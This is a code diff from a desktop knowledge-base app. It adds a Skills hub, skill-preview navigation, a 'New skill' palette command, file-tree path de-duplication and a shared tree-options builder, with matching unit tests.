--- a/packages/app/src/components/TerminalPanel.launch.dom.test.tsx
+++ b/packages/app/src/components/TerminalPanel.launch.dom.test.tsx
@@ -169,7 +169,7 @@ function launchInputWrites(inputMock: ReturnType<typeof vi.fn>): string[] {
* foreign/unverified entry bakes neither (the "bare" tests below). Codex/Cursor
* never carry it, so this prefix is claude-only.
*/
-const CLAUDE_PRE = `--settings '{"enabledMcpjsonServers":["open-knowledge"],"permissions":{"allow":["mcp__open-knowledge","Bash(ok open:*)"],"deny":["mcp__open-knowledge__delete","mcp__open-knowledge__move","mcp__open-knowledge__share_link","mcp__open-knowledge__install"]}}'`;
+const CLAUDE_PRE = `--settings '{"enabledMcpjsonServers":["open-knowledge"],"permissions":{"allow":["mcp__open-knowledge","Bash(ok open:*)"],"deny":["mcp__open-knowledge__delete","mcp__open-knowledge__move","mcp__open-knowledge__share_link","mcp__open-knowledge__install","mcp__open-knowledge__import"]}}'`;
/** What a WIRED Claude launch bakes once the user turns the auto-approve toggle
* OFF: server trust survives (it is a separate opt-in), the permissions block
diff --git a/packages/app/src/components/command-palette-commands.ts b/packages/app/src/components/command-palette-commands.ts
index e50133bee..7bd65e6b9 100644
--- a/packages/app/src/components/command-palette-commands.ts
+++ b/packages/app/src/components/command-palette-commands.ts
@@ -46,6 +46,7 @@ import { requestDocPanelTab } from '@/components/doc-panel-events';
import { GithubIcon } from '@/components/icons/github';
import type { ResolvedNavigationTarget } from '@/components/navigation-targets';
import type { OkDesktopBridge, OkMenuAction } from '@/lib/desktop-bridge-types';
+import { hashFromSkills } from '@/lib/doc-hash';
import { i18n } from '@/lib/i18n';
import type { KeyboardShortcutId } from '@/lib/keyboard-shortcuts';
import { SETTINGS_OPEN_HASH } from '@/lib/use-settings-route';
@@ -92,6 +93,8 @@ export function projectContextualTargetKind(
case 'large-file':
return 'asset';
case 'missing':
+ case 'skills':
+ case 'skill-preview':
return 'none';
}
}
@@ -124,6 +127,8 @@ export interface PaletteCommandContext {
/** Close the palette and open the persisted report history / retry list. */
openBugReportHistory(): void;
openFeedbackDialog(): void;
+ /** Create a blank project-scope skill and open it in the editor. */
+ createBlankSkill(): void;
}
/** Render-order buckets; the palette renders each group under its own heading. */
@@ -173,10 +178,12 @@ const PALETTE_COMMAND_LABELS = {
newFolder: msg`New folder`,
openGraph: msg`Open graph`,
initializeStarterPack: msg`Initialize starter pack`,
+ newSkill: msg`New skill`,
newProject: msg`New project`,
openFolderOnDisk: msg`Open folder on disk`,
openFileOnDisk: msg`Open file on disk`,
switchProject: msg`Switch project`,
+ openSkills: msg`Skills`,
settings: msg`Settings`,
installClaudeDesktop: msg`Install for Claude Chat & Cowork (Desktop App)`,
reportBug: msg`Report a bug`,
@@ -201,7 +208,7 @@ const PALETTE_COMMAND_LABELS = {
showHiddenFiles: msg`Show hidden files`,
showOkFolders: msg`Show .ok folders`,
showOnlyMarkdownFiles: msg`Show only markdown files`,
- showSkillsSection: msg`Show skills section`,
+ showSkillsSection: msg`Skills section`,
expandAll: msg`Expand all`,
collapseAll: msg`Collapse all`,
newTerminal: msg`New Terminal`,
@@ -226,10 +233,12 @@ const COMMAND_ICONS: Record<string, ComponentType<{ className?: string }>> = {
'new-folder': FolderPlus,
'open-graph': Network,
'initialize-starter-pack': Package,
+ 'new-skill': Sparkles,
'new-project': Plus,
'open-folder': FolderOpen,
'open-file': FileText,
'switch-project': LayoutGrid,
+ 'open-skills': Package,
settings: Settings,
'install-claude-desktop': Download,
'report-bug': Bug,
@@ -284,6 +293,10 @@ const COMMAND_DISPATCH: Record<string, (ctx: PaletteCommandContext) => void> = {
ctx.closePalette();
ctx.openSeedDialog();
},
+ 'new-skill': (ctx) => {
+ ctx.closePalette();
+ ctx.createBlankSkill();
+ },
'new-project': (ctx) => {
ctx.closePalette();
ctx.openCreateProjectDialog();
@@ -310,6 +323,10 @@ const COMMAND_DISPATCH: Record<string, (ctx: PaletteCommandContext) => void> = {
if (!bridge) return;
ctx.runAction(() => bridge.navigator.open(), t`Failed to open Project Navigator.`);
},
+ 'open-skills': (ctx) => {
+ ctx.closePalette();
+ window.location.hash = hashFromSkills();
+ },
settings: (ctx) => {
ctx.closePalette();
if (window.location.hash !== SETTINGS_OPEN_HASH) {
diff --git a/packages/app/src/components/command-palette-new-skill.test.ts b/packages/app/src/components/command-palette-new-skill.test.ts
new file mode 100644
index 000000000..135cc570f
--- /dev/null
+++ b/packages/app/src/components/command-palette-new-skill.test.ts
@@ -0,0 +1,25 @@
+import { describe, expect, test, vi } from 'vitest';
+import { PALETTE_COMMANDS, type PaletteCommandContext } from './command-palette-commands';
+
+/**
+ * "New skill" was missing from the Cmd+K palette because the registry
+ * was backfilled only from native-menu leaves, and New skill was never a menu
+ * leaf. Assert it now exists as a palette command and dispatches the blank-skill
+ * create seam (closing the palette first), not a bus action.
+ */
+describe('new-skill palette command (PRD-7604)', () => {
+ test('is registered and dispatches createBlankSkill', () => {
+ const cmd = PALETTE_COMMANDS.find((c) => c.id === 'new-skill');
+ expect(cmd).toBeDefined();
+ if (!cmd) return;
+ expect(cmd.group).toBe('commands');
+
+ const closePalette = vi.fn();
+ const createBlankSkill = vi.fn();
+ const ctx = { closePalette, createBlankSkill } as unknown as PaletteCommandContext;
+ cmd.dispatch(ctx);
+
+ expect(closePalette).toHaveBeenCalledOnce();
+ expect(createBlankSkill).toHaveBeenCalledOnce();
+ });
+});
diff --git a/packages/app/src/components/empty-state/CreatePromptComposer.tsx b/packages/app/src/components/empty-state/CreatePromptComposer.tsx
index 35910395c..27263a68a 100644
--- a/packages/app/src/components/empty-state/CreatePromptComposer.tsx
+++ b/packages/app/src/components/empty-state/CreatePromptComposer.tsx
@@ -408,8 +408,16 @@ export function CreatePromptComposer({ scenario, className }: CreatePromptCompos
doc/file corpus to insert reference chips. */}
<ComposerMentionInput
ref={inputRef}
- ariaLabel={t`Describe the project you want to create`}
- placeholder={t`A team knowledge base, a personal wiki, project docs...`}
+ ariaLabel={
+ scenario === 'skill'
+ ? t`Describe the skill you want to create`
+ : t`Describe the project you want to create`
+ }
+ placeholder={
+ scenario === 'skill'
+ ? t`A PR reviewer, a release-notes writer, a deploy checklist...`
+ : t`A team knowledge base, a personal wiki, project docs...`
+ }
onEmptyChange={handleEmptyChange}
onContentChange={setComposerDraftDoc}
onSubmit={handleSubmit}
@@ -624,10 +632,11 @@ export function CreatePromptComposer({ scenario, className }: CreatePromptCompos
</div>
{/* Starter-brief chips — below the card, centered. Clicking one prefills
the field (no auto-create), so they read as suggestions rather than
- card actions. Wraps on narrow widths. Suppressed for `existing-repo`:
- the repo's own contents are the starting point, so we don't pitch
- generic prefills there (the embedded copy-list still shows them). */}
- {scenario !== 'existing-repo' && suggestions.length > 0 ? (
+ card actions. Wraps on narrow widths. Only `new-project` pitches these
+ generic KB prefills: `existing-repo` starts from the repo's own
+ contents, and `skill` authoring has nothing to do with them (the
+ embedded copy-list still shows the full set). */}
+ {scenario === 'new-project' && suggestions.length > 0 ? (
<div className="flex flex-wrap items-center justify-center gap-2">
<span className="text-1sm text-muted-foreground">
<Trans>Try a prompt</Trans>
diff --git a/packages/app/src/components/file-tree-adapter.test.ts b/packages/app/src/components/file-tree-adapter.test.ts
index a510c7e53..b45a4ad71 100644
--- a/packages/app/src/components/file-tree-adapter.test.ts
+++ b/packages/app/src/components/file-tree-adapter.test.ts
@@ -59,6 +59,27 @@ describe('file-tree-adapter', () => {
]);
});
+ test('de-dupes entries that map to the same tree path', () => {
+ // Two refreshes can race the same doc into `documents` (a stale size=0 and
+ // the fresh size=40), which would otherwise crash `@pierre/trees`
+ // `resetPaths` with a Duplicate path throw. First occurrence wins.
+ const stale: FileEntry = {
+ kind: 'document',
+ docName: 'note',
+ docExt: '.mdx',
+ size: 0,
+ modified: '2026-01-01T00:00:00Z',
+ };
+ const fresh: FileEntry = {
+ kind: 'document',
+ docName: 'note',
+ docExt: '.mdx',
+ size: 40,
+ modified: '2026-01-01T00:00:01Z',
+ };
+ expect(documentsToTreePaths([stale, fresh])).toEqual(['note.mdx']);
+ });
+
test('converts Trees file and directory paths back to app paths', () => {
expect(treeFilePathToDocName('docs/guide.md')).toBe('docs/guide');
expect(treeFilePathToDocName('docs/guide')).toBe('docs/guide');
diff --git a/packages/app/src/components/file-tree-adapter.ts b/packages/app/src/components/file-tree-adapter.ts
index 933cbc758..3032d6969 100644
--- a/packages/app/src/components/file-tree-adapter.ts
+++ b/packages/app/src/components/file-tree-adapter.ts
@@ -92,7 +92,23 @@ export function treePathToAppPath(treePath: string): string {
}
export function documentsToTreePaths(documents: readonly FileEntry[]): string[] {
- return documents.map(fileEntryToTreePath);
+ // De-dupe by tree path. Two entries with the same tree path are the same tree
+ // node — the model can only hold one, and `@pierre/trees` `resetPaths` hard-
+ // throws `Duplicate path` (crashing the whole editor) on a collision. A brief
+ // double-entry for one doc is reachable when two refreshes race (e.g. a stale
+ // size=0 fetch and the fresh size=40 fetch landing in `documents` together),
+ // so unique-ify here at the single feed every `resetPaths` call routes through
+ // rather than trusting every async `setDocuments` producer to dedupe. First
+ // occurrence wins (stable order); the next refresh reconciles the metadata.
+ const seen = new Set<string>();
+ const paths: string[] = [];
+ for (const entry of documents) {
+ const path = fileEntryToTreePath(entry);
+ if (seen.has(path)) continue;
+ seen.add(path);
+ paths.push(path);
+ }
+ return paths;
}
export function treePathSignature(paths: readonly string[]): string {
diff --git a/packages/app/src/components/file-tree-density.ts b/packages/app/src/components/file-tree-density.ts
index f34adbaf1..3695de8ea 100644
--- a/packages/app/src/components/file-tree-density.ts
+++ b/packages/app/src/components/file-tree-density.ts
@@ -146,7 +146,7 @@ export function createFileTreeStyle(resolvedTheme: string | undefined): CSSPrope
'--trees-selected-fg': 'var(--color-primary)',
'--truncate-marker-fade-in-duration': '0s', // render ellipsis without delay
'--trees-file-icon-color-markdown': 'light-dark(var(--color-gray-400), var(--color-gray-500))',
- '--trees-fg-muted': 'light-dark(var(--color-gray-400), var(--color-gray-500))',
+ '--trees-fg-muted': 'var(--color-tree-muted)',
...FILE_TREE_DENSITY_STYLE,
} as CSSProperties;
}
diff --git a/packages/app/src/components/file-tree-rename-focus-reconciliation.dom.test.tsx b/packages/app/src/components/file-tree-rename-focus-reconciliation.dom.test.tsx
index d16719b6c..fb1c6d8f0 100644
--- a/packages/app/src/components/file-tree-rename-focus-reconciliation.dom.test.tsx
+++ b/packages/app/src/components/file-tree-rename-focus-reconciliation.dom.test.tsx
@@ -325,6 +325,7 @@ vi.doMock('@/editor/DocumentContext', () => ({
openTarget: openTargetMock,
prewarm: () => {},
reconcileLocalRename: reconcileLocalRenameMock,
+ setSkillsSidebar: () => {},
reconcileLocalRemoval: reconcileLocalRemovalMock,
}),
}));
diff --git a/packages/app/src/components/file-tree-selection.ts b/packages/app/src/components/file-tree-selection.ts
index 4967c66e8..a92907a2f 100644
--- a/packages/app/src/components/file-tree-selection.ts
+++ b/packages/app/src/components/file-tree-selection.ts
@@ -72,6 +72,9 @@ export function resolveFileTreeSelection(
};
case 'asset':
case 'skill-file':
+ // The Skills hub + pre-install skill preview have no file-tree selection.
+ case 'skills':
+ case 'skill-preview':
return {
selectedFilePath: null,
selectedFolderPath: null,
diff --git a/packages/app/src/components/file-tree-shared.test.ts b/packages/app/src/components/file-tree-shared.test.ts
new file mode 100644
index 000000000..1085be036
--- /dev/null
+++ b/packages/app/src/components/file-tree-shared.test.ts
@@ -0,0 +1,66 @@
+/**
+ * Unit coverage for the shared file-tree options builder. Asserts the generic
+ * option slice both trees rely on: the read-only `unsafeCSS` default (and its
+ * override), the markdown icon override, sprite concatenation, and the
+ * context-menu gate. Pure — no DOM, mirrors `file-tree-density.test.ts`.
+ */
+
+import { describe, expect, test } from 'vitest';
+import {
+ buildOkFileTreeOptions,
+ MARKDOWN_FILE_ICON_ID,
+ MARKDOWN_FILE_ICON_SYMBOL,
+ OK_FILE_TREE_READONLY_UNSAFE_CSS,
+} from './file-tree-shared.ts';
+
+describe('buildOkFileTreeOptions', () => {
+ test('passes paths through and defaults to the read-only unsafeCSS base', () => {
+ const opts = buildOkFileTreeOptions({ paths: ['a.md', 'b/c.ts'] });
+ expect(opts.paths).toEqual(['a.md', 'b/c.ts']);
+ expect(opts.unsafeCSS).toBe(OK_FILE_TREE_READONLY_UNSAFE_CSS);
+ });
+
+ test('unsafeCSS override wins (the editable main tree passes its full composition)', () => {
+ const full = `${OK_FILE_TREE_READONLY_UNSAFE_CSS}\n/* rename + drop */`;
+ const opts = buildOkFileTreeOptions({ paths: [], unsafeCSS: full });
+ expect(opts.unsafeCSS).toBe(full);
+ });
+
+ test('md and mdx map to the custom markdown glyph override', () => {
+ const { icons } = buildOkFileTreeOptions({ paths: [] });
+ // `FileTreeIcons` is `"minimal" | {…}`; the builder always emits the object.
+ if (typeof icons !== 'object') throw new Error('expected object icons config');
+ expect(icons.set).toBe('complete');
+ // md + mdx both remap to the custom markdown glyph id (RemappedIcon is itself
+ // a union, so assert on the serialized map rather than fight the types).
+ const byExt = JSON.stringify(icons.byFileExtension);
+ expect(byExt).toContain('"md"');
+ expect(byExt).toContain('"mdx"');
+ expect(byExt).toContain(MARKDOWN_FILE_ICON_ID);
+ });
+
+ test('extraSpriteSymbols are concatenated into the sprite ahead of the markdown symbol', () => {
+ const extra = '<symbol id="x"></symbol>';
+ const { icons } = buildOkFileTreeOptions({ paths: [], extraSpriteSymbols: extra });
+ if (typeof icons !== 'object') throw new Error('expected object icons config');
+ const sheet = icons.spriteSheet ?? '';
+ expect(sheet).toContain(extra);
+ expect(sheet).toContain(MARKDOWN_FILE_ICON_SYMBOL);
+ // Both the extra symbols and the markdown glyph live inside one sprite host.
+ expect(sheet.indexOf(extra)).toBeLessThan(sheet.indexOf(MARKDOWN_FILE_ICON_SYMBOL));
+ });
+
+ test('the markdown symbol is always present even with no extra symbols', () => {
+ const { icons } = buildOkFileTreeOptions({ paths: [] });
+ if (typeof icons !== 'object') throw new Error('expected object icons config');
+ expect(icons.spriteSheet ?? '').toContain(MARKDOWN_FILE_ICON_SYMBOL);
+ });
+
+ test('context menu is gated on enableContextMenu', () => {
+ expect(buildOkFileTreeOptions({ paths: [] }).composition).toBeUndefined();
+ expect(
+ buildOkFileTreeOptions({ paths: [], enableContextMenu: true }).composition?.contextMenu
+ ?.enabled,
+ ).toBe(true);
+ });
+});
diff --git a/packages/app/src/components/file-tree-shared.ts b/packages/app/src/components/file-tree-shared.ts
new file mode 100644
index 000000000..1e607d099
--- /dev/null
+++ b/packages/app/src/components/file-tree-shared.ts
@@ -0,0 +1,118 @@
+/**
+ * Shared, workspace-agnostic slice of the `@pierre/trees` file-tree integration.
+ *
+ * The skills bundle-file tree (`SkillsSidebarSection.tsx`) renders through
+ * `<OkFileTree>` (which mounts Pierre + the generic decoration observers). This
+ * module holds the reusable pieces — the ones the main Files tree (`FileTree.tsx`,
+ * still on its own inline Pierre mount) also needs when it migrates onto
+ * `<OkFileTree>`: the custom markdown glyph sprite, the generic
+ * lucide-sprite helpers, the read-only `unsafeCSS` base (colored-icon color
+ * rule + indent guides + sticky headers + extension badges), and the
+ * `useFileTree` options builder that produces the generic option slice.
+ *
+ * Kept free of React and Lingui macros (like `file-tree-density.ts`) so it stays
+ * unit-testable without pulling in the editor build graph.
+ */
+
+import type {
+ FileTreeInitialExpansion,
+ FileTreeOptions,
+ FileTreeRowDecorationRenderer,
+} from '@pierre/trees';
+import {
+ MARKDOWN_FILE_ICON_PATH_D,
+ MARKDOWN_FILE_ICON_VIEWBOX,
+} from '@/components/file-entry-icon';
+import {
+ FILE_TREE_DENSITY_OPTIONS,
+ FILE_TREE_INDENT_GUIDE_CSS,
+ FILE_TREE_STICKY_HEADER_CSS,
+} from '@/components/file-tree-density';
+import { FILE_TREE_EXT_BADGE_CSS } from '@/components/file-tree-extension-badge';
+
+/** Sprite symbol id for the custom markdown glyph (overrides Pierre's built-in). */
+export const MARKDOWN_FILE_ICON_ID = 'ok-file-tree-markdown';
+
+// Custom Markdown file glyph (document with an "MD" label) overriding Pierre's
+// built-in `complete`-set markdown glyph. `fill="currentColor"` lets
+// `--trees-file-icon-color-markdown` (set in createFileTreeStyle, see
+// file-tree-density.ts) color it.
+export const MARKDOWN_FILE_ICON_SYMBOL = `<symbol id="${MARKDOWN_FILE_ICON_ID}" viewBox="${MARKDOWN_FILE_ICON_VIEWBOX}" fill="currentColor"><path d="${MARKDOWN_FILE_ICON_PATH_D}"/></symbol>`;
+
+type IconNode = [string, Record<string, string>][];
+
+function iconNodeToSvg(iconNode: IconNode): string {
+ return (
+ iconNode
+ // remove React key
+ .map(([tag, { key: _, ...attrs }]) => {
+ const attrString = Object.entries(attrs)
+ .map(([k, v]) => `${k}="${v}"`)
+ .join(' ');
+ return `<${tag} ${attrString} />`;
+ })
+ .join('')
+ );
+}
+
+export function createLucideSpriteSymbol(id: string, iconNode: IconNode): string {
+ const symbolContent = iconNodeToSvg(iconNode);
+ return `<symbol id="${id}" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">${symbolContent}</symbol>`;
+}
+
+/**
+ * The read-only-safe `unsafeCSS` base: colored-icon selected-fg rule + extension
+ * badges + indent guides + sticky headers. This is everything a NON-editing tree
+ * needs. The main tree extends this with its rename / drop / creation CSS.
+ */
+export const OK_FILE_TREE_READONLY_UNSAFE_CSS = `${FILE_TREE_EXT_BADGE_CSS}\n${FILE_TREE_INDENT_GUIDE_CSS}\n${FILE_TREE_STICKY_HEADER_CSS}`;
+
+export interface OkFileTreeOptionsInput {
+ readonly paths: readonly string[];
+ readonly initialExpansion?: FileTreeInitialExpansion;
+ readonly initialVisibleRowCount?: number;
+ readonly stickyFolders?: boolean;
+ readonly initialExpandedPaths?: readonly string[];
+ readonly initialSelectedPaths?: readonly string[];
+ readonly onSelectionChange?: (paths: readonly string[]) => void;
+ /** Main tree only — symlink/agent row badges. */
+ readonly renderRowDecoration?: FileTreeRowDecorationRenderer;
+ /** Extra `<symbol>` markup concatenated into the icon sprite (link/agent glyphs). */
+ readonly extraSpriteSymbols?: string;
+ readonly enableContextMenu?: boolean;
+ /** Overrides the read-only base (the main tree passes its full composition). */
+ readonly unsafeCSS?: string;
+}
+
+/**
+ * Build the GENERIC slice of Pierre `FileTreeOptions` shared by every OK tree —
+ * density, the `complete` colored icon set + markdown override, the read-only
+ * `unsafeCSS` base, search mode, and any provided selection/expansion/decoration
+ * config. Callers merge their own `dragAndDrop`/`renaming` on top before passing
+ * the result to `useFileTree`.
+ */
+export function buildOkFileTreeOptions(input: OkFileTreeOptionsInput): FileTreeOptions {
+ const spriteSheet = `<svg data-icon-sprite aria-hidden="true" width="0" height="0">${input.extraSpriteSymbols ?? ''}${MARKDOWN_FILE_ICON_SYMBOL}</svg>`;
+ const markdownIcon = { name: MARKDOWN_FILE_ICON_ID, viewBox: MARKDOWN_FILE_ICON_VIEWBOX };
+ return {
+ paths: input.paths,
+ initialExpansion: input.initialExpansion ?? 'closed',
+ fileTreeSearchMode: 'hide-non-matches',
+ initialVisibleRowCount: input.initialVisibleRowCount,
+ stickyFolders: input.stickyFolders ?? false,
+ ...FILE_TREE_DENSITY_OPTIONS,
+ icons: {
+ set: 'complete',
+ spriteSheet,
+ byFileExtension: { md: markdownIcon, mdx: markdownIcon },
+ },
+ unsafeCSS: input.unsafeCSS ?? OK_FILE_TREE_READONLY_UNSAFE_CSS,
+ composition: input.enableContextMenu
+ ? { contextMenu: { enabled: true, triggerMode: 'both', buttonVisibility: 'when-needed' } }
+ : undefined,
+ onSelectionChange: input.onSelectionChange,
+ initialSelectedPaths: input.initialSelectedPaths,
+ initialExpandedPaths: input.initialExpandedPaths,
+ renderRowDecoration: input.renderRowDecoration,
+ };
+}
diff --git a/packages/app/src/components/handoff/OpenInAgentMenu.non-modal.dom.test.tsx b/packages/app/src/components/handoff/OpenInAgentMenu.non-modal.dom.test.tsx
index 36facceaf..44e24b927 100644
--- a/packages/app/src/components/handoff/OpenInAgentMenu.non-modal.dom.test.tsx
+++ b/packages/app/src/components/handoff/OpenInAgentMenu.non-modal.dom.test.tsx
@@ -11,10 +11,9 @@
* the chrome (notably the bottom-left ProjectSwitcher) was frozen behind
* `body { pointer-events: none }`.
*
- * The surface is now a Radix `Popover` (it hosts an instruction prompt box, so
- * it can no longer be a dropdown menu — a text field cannot live inside one).
- * Popover is non-modal by default, so the trap cannot recur; this test pins
- * that contract.
+ * The surface is a Radix `Popover` (kept for the editor-header drag-zone
+ * dismissal handling the non-modal popover semantics support). Popover is
+ * non-modal by default, so the trap cannot recur; this test pins that contract.
*
* The macOS `-webkit-app-region` swallow itself is not reproducible in jsdom
* (the existing source-guard test in `OpenInAgentMenu.test.ts` documents that).
diff --git a/packages/app/src/components/handoff/OpenInAgentTerminalRow.dom.test.tsx b/packages/app/src/components/handoff/OpenInAgentTerminalRow.dom.test.tsx
index 346db1cbc..b2ed2503b 100644
--- a/packages/app/src/components/handoff/OpenInAgentTerminalRow.dom.test.tsx
+++ b/packages/app/src/components/handoff/OpenInAgentTerminalRow.dom.test.tsx
@@ -4,8 +4,7 @@
* CLI (`claude` / `codex` / `cursor-agent`) in the docked terminal. The rows are
* desktop-gated: they render only when a `TerminalLaunchProvider` value is
* present (the web host passes `null`, so the section is absent). Clicking a row
- * routes the handoff input — with the typed instruction threaded on — plus the
- * chosen CLI to the launcher.
+ * routes the handoff input plus the chosen CLI to the launcher.
*/
import type { TerminalCli } from '@inkeep/open-knowledge-core';
@@ -159,17 +158,6 @@ describe('Open-with-AI Terminal CLI rows', () => {
expect(calls).toStrictEqual([{ input, cli: 'codex' }]);
});
- test('typing an instruction threads it onto the launched input', async () => {
- const calls: LaunchCall[] = [];
- await renderMenu({ launcher: (i, cli) => calls.push({ input: i, cli }) });
- await openMenu();
- await userEvent.type(screen.getByTestId('open-in-agent-instruction'), 'Add error handling');
- await userEvent.click(screen.getByTestId('open-in-agent-terminal-cursor'));
- expect(calls).toStrictEqual([
- { input: { ...input, instruction: 'Add error handling' }, cli: 'cursor' },
- ]);
- });
-
test('the trigger is disabled when there is no handoff input', async () => {
await renderMenu({ launcher: () => {}, menuInput: null });
const trigger = screen.getByTestId('open-in-agent-trigger') as HTMLButtonElement;
diff --git a/packages/app/src/components/link-target-intent.test.ts b/packages/app/src/components/link-target-intent.test.ts
index 0872b5b85..87507c306 100644
--- a/packages/app/src/components/link-target-intent.test.ts
+++ b/packages/app/src/components/link-target-intent.test.ts
@@ -103,10 +103,11 @@ describe('resolveLinkTargetIntent', () => {
});
});
- test('navigates a skill-bundle reference to the read-only viewer instead of create-page', () => {
+ test('navigates a skill-bundle reference to its editable doc, not create-page', () => {
// A skill's `references/*` shows in Outgoing as a real, openable target — it
// must NOT render as "Missing page — click to create" (which would create a
- // phantom page). It routes to the read-only skill-file viewer hash.
+ // phantom page). Global skill references are editable managed-artifact docs,
+ // so the link opens the editable doc (not the read-only skill-file viewer).
expect(
resolveLinkTargetIntent('__skill__/global/test/references/notes', {
pages: new Set<string>(),
@@ -115,14 +116,12 @@ describe('resolveLinkTargetIntent', () => {
kind: 'navigate',
displayState: 'resolved',
resolvedTarget: {
- kind: 'skill-file',
- target: 'global/test/references/notes.md',
- scope: 'global',
- name: 'test',
- path: 'references/notes.md',
+ kind: 'doc',
+ docName: '__skill__/global/test/references/notes',
+ target: '__skill__/global/test/references/notes',
},
- hashDocName: 'global/test/references/notes.md',
- hash: '#/__skill-file__/global/test/references/notes.md',
+ hashDocName: '__skill__/global/test/references/notes',
+ hash: null,
});
});
});
diff --git a/packages/app/src/components/navigation-targets.test.ts b/packages/app/src/components/navigation-targets.test.ts
index da8f4c233..4dd6eb86f 100644
--- a/packages/app/src/components/navigation-targets.test.ts
+++ b/packages/app/src/components/navigation-targets.test.ts
@@ -4,12 +4,59 @@ import {
deriveKnownFolderPaths,
docNameForNavigationTarget,
downgradeFolderIndexForHashNav,
+ isSkillFocusedTarget,
largeFileNavigationTarget,
okContentNavigationTarget,
+ type ResolvedNavigationTarget,
resolveNavigationTarget,
withLargeFileOpenGuard,
} from './navigation-targets';
+describe('isSkillFocusedTarget', () => {
+ const doc = (docName: string): ResolvedNavigationTarget => ({
+ kind: 'doc',
+ target: docName,
+ docName,
+ });
+
+ test('true for the Skills hub, a bundle-file viewer, and skill docs (project + global)', () => {
+ expect(isSkillFocusedTarget({ kind: 'skills', target: 'skills' })).toBe(true);
+ expect(
+ isSkillFocusedTarget({
+ kind: 'skill-file',
+ target: 'x',
+ scope: 'global',
+ name: 'demo',
+ path: 'references/notes.md',
+ }),
+ ).toBe(true);
+ expect(isSkillFocusedTarget(doc('.ok/skills/my-skill/SKILL'))).toBe(true);
+ expect(isSkillFocusedTarget(doc('__skill__/global/demo'))).toBe(true);
+ });
+
+ test('true for a bundle reached through a symlinked skill dir', () => {
+ // A skill dir can be a symlink to somewhere else inside the content dir, so
+ // the same bytes also index under the real path. Following a `references/…`
+ // link out of the skill can land on that name — same file, no dot-dir — and
+ // dropping to Files there looked like the Skills surface had broken.
+ expect(
+ isSkillFocusedTarget(doc('plugins/ok/skills/bake-lume-golden/references/version-pinning')),
+ ).toBe(true);
+ expect(isSkillFocusedTarget(doc('plugins/ok/skills/bake-lume-golden/SKILL'))).toBe(true);
+ });
+
+ test('false for plain docs, folders, assets, and no target', () => {
+ expect(isSkillFocusedTarget(doc('notes/daily'))).toBe(false);
+ expect(isSkillFocusedTarget({ kind: 'folder', target: 'docs', folderPath: 'docs' })).toBe(
+ false,
+ );
+ expect(
+ isSkillFocusedTarget({ kind: 'asset', target: 'a.png', assetPath: 'a.png', mediaKind: null }),
+ ).toBe(false);
+ expect(isSkillFocusedTarget(null)).toBe(false);
+ });
+});
+
describe('deriveKnownFolderPaths', () => {
test('derives ancestor folders from admitted doc names', () => {
const folderPaths = deriveKnownFolderPaths(new Set(['docs/index', 'reports/q1/REPORT']));
@@ -32,29 +79,39 @@ describe('resolveNavigationTarget', () => {
}
});
- test('resolves a GLOBAL skill bundle reference node to a read-only skill-file target', () => {
- // A global skill's references live at `~/.ok/skills/<name>/references/…`,
- // OUTSIDE the project — a graph click must open the scope-aware skill-file
- // viewer, not a phantom doc tab. The node name is ext-less; the resolver
- // reconstructs the `.md` on-disk path the `/api/skill-file` endpoint reads.
+ test('resolves a PROJECT skill content doc without page-index membership', () => {
+ // A freshly created/imported project skill lags the page index by the async
+ // files refetch; it must still resolve to the skill DOC (not the read-only
+ // asset viewer), else it strands the editor + flips the sidebar to Files.
+ const target = '.ok/skills/new-skill/SKILL';
+ expect(resolveNavigationTarget(target, { pages: new Set() })).toEqual({
+ kind: 'doc',
+ target,
+ docName: target,
+ });
+ // isSkillFocusedTarget on that result keeps the sidebar on Skills.
+ expect(isSkillFocusedTarget(resolveNavigationTarget(target, { pages: new Set() }))).toBe(true);
+ });
+
+ test('resolves a GLOBAL skill bundle .md reference to an EDITABLE doc target', () => {
+ // Global skill `.md` references are now editable managed-artifact live docs
+ // (per-file skill editability), backed by `<home>/.ok/skills/<name>/<rel>.md`
+ // via managedArtifactAbsPath — they open in the editor, not the read-only
+ // skill-file viewer. The synthetic name is passed straight through as the doc.
expect(
resolveNavigationTarget('__skill__/global/demo/references/notes', { pages: new Set() }),
).toEqual({
- kind: 'skill-file',
- target: 'global/demo/references/notes.md',
- scope: 'global',
- name: 'demo',
- path: 'references/notes.md',
+ kind: 'doc',
+ target: '__skill__/global/demo/references/notes',
+ docName: '__skill__/global/demo/references/notes',
});
// Nested reference.
expect(
resolveNavigationTarget('__skill__/global/demo/references/sub/deep', { pages: new Set() }),
).toEqual({
- kind: 'skill-file',
- target: 'global/demo/references/sub/deep.md',
- scope: 'global',
- name: 'demo',
- path: 'references/sub/deep.md',
+ kind: 'doc',
+ target: '__skill__/global/demo/references/sub/deep',
+ docName: '__skill__/global/demo/references/sub/deep',
});
});
diff --git a/packages/app/src/components/navigation-targets.ts b/packages/app/src/components/navigation-targets.ts
index 6712882aa..e4f273ccc 100644
--- a/packages/app/src/components/navigation-targets.ts
+++ b/packages/app/src/components/navigation-targets.ts
@@ -6,13 +6,15 @@ import {
isMermaidDocFile,
managedArtifactDocNameFromContentTarget,
mediaKindForSidebarAssetExtension,
- parseGlobalSkillBundleDoc,
parseManagedArtifactName,
projectSkillContentDocName,
type SkillScope,
toWikiLinkSlug,
} from '@inkeep/open-knowledge-core';
+import { isSkillBundleShapedPath, isSkillDocName } from '@/editor/editor-tabs';
+import type { SkillPreviewFlavor } from '@/lib/doc-hash';
import { normalizeDocNameInput } from '@/lib/doc-paths';
+import { parseProjectSkillContentDocName } from '@/lib/managed-artifact-doc-name';
import { computeAncestors, hasOkPathSegment } from './file-tree-utils';
export type ResolvedNavigationTarget =
@@ -50,6 +52,36 @@ export type ResolvedNavigationTarget =
name: string;
/** Skill-relative path, e.g. `references/x.md` or `scripts/run.sh`. */
path: string;
+ /**
+ * Which same-named bundle owns this file. Several distinct-content skills
+ * can share a name across host dirs; without this the read resolves to
+ * whichever one a bare name lookup lands on. Omitted = by-name default.
+ */
+ host?: string;
+ }
+ | {
+ // The Skills destination hub — a full-pane view with the My Skills dock +
+ // internal Explore / Installed / Sources tabs. A synthetic tab kind (like
+ // `skill-file`), opened via the `#/__skills__` hash; never resolved from a
+ // doc name, so it does not participate in `resolveNavigationTarget`.
+ kind: 'skills';
+ target: string;
+ }
+ | {
+ // A pre-install, read-only preview of an un-imported skill, opened full-pane
+ // with a Manage/Import action. Synthetic (like `skills`/`skill-file`), keyed
+ // by import coordinates via the `#/__skill-preview__/…` hash, never resolved
+ // from a doc name — the skill is not a project doc until it is managed.
+ kind: 'skill-preview';
+ target: string;
